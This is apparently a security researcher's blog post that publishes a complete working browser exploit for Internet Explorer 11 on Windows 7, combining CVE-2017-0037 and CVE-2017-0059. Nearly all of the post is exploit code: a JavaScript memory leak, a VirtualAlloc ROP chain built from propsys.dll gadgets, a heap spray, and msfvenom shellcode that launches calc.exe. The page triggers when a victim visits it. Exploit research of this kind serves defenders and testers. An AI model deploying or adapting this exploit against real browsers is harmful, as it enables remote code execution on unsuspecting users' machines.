Internet Explorer 11

Following the last 2 blog posts for both CVE-2017-0037 and CVE-2017-0059 here’s a full working exploit for IE11 <= 11.0.37 for Windows 7 (32 and 64 bit). I tested it only on two (not too) different machines so please if you have the opportunity to try it on multiple environments let me know the results!

Credits

Ivan Fratric (@ifsecure): he found the two original bugs.
Peter Van Eeckhoutte (@corelanc0d3r): for the techniques and tip/tricks learned from his Advanced exploitation training which I highly recommend.

Also, a huge thank you to OJ (@TheColonial). He kindly accepted to port the exploit to Metasploit. Hopefully it’ll be ready soon :)

The exploit

The exploit is available on the following link

<html>
<head>
    <style>
        .class1 { float: left; column-count: 5; }
        .class2 { column-span: all; columns: 1px; }
        table {border-spacing: 0px;}
    </style>
    <script>
 
    var base_leaked_addr = "";
 
    function infoleak() {
     
        var textarea = document.getElementById("textarea");
        var frame = document.createElement("iframe");
      
        textarea.appendChild(frame);
        frame.contentDocument.onreadystatechange = eventhandler;
 
        form.reset();
         
    }
      
    function eventhandler() {
     
        document.getElementById("textarea").defaultValue = "foo";
        // Object replaced here
        // one of the side allocations of the audio element
        var audioElm = document.createElement("audio");
            audioElm.src = "test.mp3";
                 
    }
     
    function writeu(base, offs) {
     
        var res = 0;
        if (base != 0) {  res = base + offs }
        else {  res = offs }
        res = res.toString(16);
        while (res.length < 8) res = "0"+res;
        return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
         
    }
     
    function readu(value) {
                 
        var uc = escape(value);
        var ucsplit = uc.split('%');
        var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
        return res;
         
    }
         
    function spray() {
     
        // DEPS technique used here - avoid null bytes
 
        var hso = document.createElement("div");
        base_leaked_addr = parseInt(base_leaked_addr,16);
 
        var junk = unescape("%u0e0e%u0e0e");
        while (junk.length < 0x1000) junk += junk;
 
 
        var rop = unescape(
            writeu(base_leaked_addr,0x56341) + 
            writeu(base_leaked_addr,0x56341) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(0,0xffffffff) + 
            writeu(base_leaked_addr,0x2a89e) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x4e385) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x2030f) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(0,0x41414141) + 
            writeu(0,0x41414141) + 
            writeu(0,0xf07645d5) + 
            writeu(base_leaked_addr,0x6e002) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0xaebc) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(0,0xffffffbf) + 
            writeu(base_leaked_addr,0x2a89e) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x6361b) + 
            writeu(base_leaked_addr,0x432cf) + 
            writeu(0,0x41414141) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(base_leaked_addr,0x5cef1) + 
            writeu(base_leaked_addr,0x4177e) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(base_leaked_addr,0x1244) + 
            writeu(base_leaked_addr,0xa819) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x2720b) + 
            "" );
 
        /*
         
        Original VirtualAlloc ROP generated with mona.py - www.corelan.be
        Library used "propsys.dll", part of the Windows Search functionality (?)
        and last updated Nov 2010. I think it's a good target for our needs.
        Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
         
        "%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll] 
        "%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
        "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
        "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
        "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
        "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f :  # POP EBX # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
        "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
        "%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] 
        "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
        "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
        "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] 
        "%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] 
        "%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] 
        "%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
        "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
        "%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
        "%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll]  --> changed to  0x6af3a819 :  # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) 
        "%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
         
        */
         
         
         
        // Move ESP to the VirtualAlloc ROP chain
        var stack_shift_rop = unescape(
            writeu(0,235802130) +
            writeu(base_leaked_addr,0x2030f) + // 0x6af5030f :  # POP EBX # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
            writeu(0,0x0e0e1258) +
            writeu(base_leaked_addr,0x28002) +  // 0x6af58002 :  # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
            writeu(0,0x41414141) +
            writeu(0,0x41414141) +
            writeu(base_leaked_addr,0x0b473) + //0x6af3b473 :  # XCHG EAX,ESP # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
            writeu(0,0x41414141) + 
            writeu(0,0x41414141) +
            "");
         
         
         
 
        // root@kali:~# msfvenom  -p windows/exec cmd=calc.exe -b "\x00" -f js_le
        // ~2854 bytes max
         
        var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
                "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
        "");
     
         
        var xchg = unescape(writeu(base_leaked_addr, 0x0b473));  // Initial EIP control ---> 0x6af3b473 :  # XCHG EAX,ESP # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
        var fix1 = 0x15c; 
        var fixop = unescape("%u0e0e%u0e0e");
        var offset_to_stack_shift = 0x6f7;
        var offset_to_xchg = 0xd2+2;
        // Jumping a bit around here, pretty sure this can be simplified but hey... it works
        data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
        data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
     
        while (data.length < 0x80000) data += data;
        for (var i = 0; i < 0x350; i++) 
        {
            var obj = document.createElement("button");
            obj.title = data.substring(0,(0x7fb00-2)/2); 
            hso.appendChild(obj);
        }
    }
 
    function boom() {
        document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
        th1.align = "right";
    }
     
    setTimeout(function() {
 
        var txt = document.getElementById("textarea");
        var il = txt.value.substring(0,2);
        var leaked_addr = readu(il);
        base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
        base_leaked_addr = base_leaked_addr.toString(16);
        spray();
        boom();
         
    }, 1000); // can be reduced
    </script>
</head>
 
<body onload=infoleak()>
    <form id="form">
        <textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
    </form>
<script>
 
</script>
    <table cellspacing="0">
        <tr class="class1">
        <th id="th1" colspan="0" width=2000000></th>
        <th class="class2" width=0><div class="class2"></div></th>
    </table>
</body>
</html>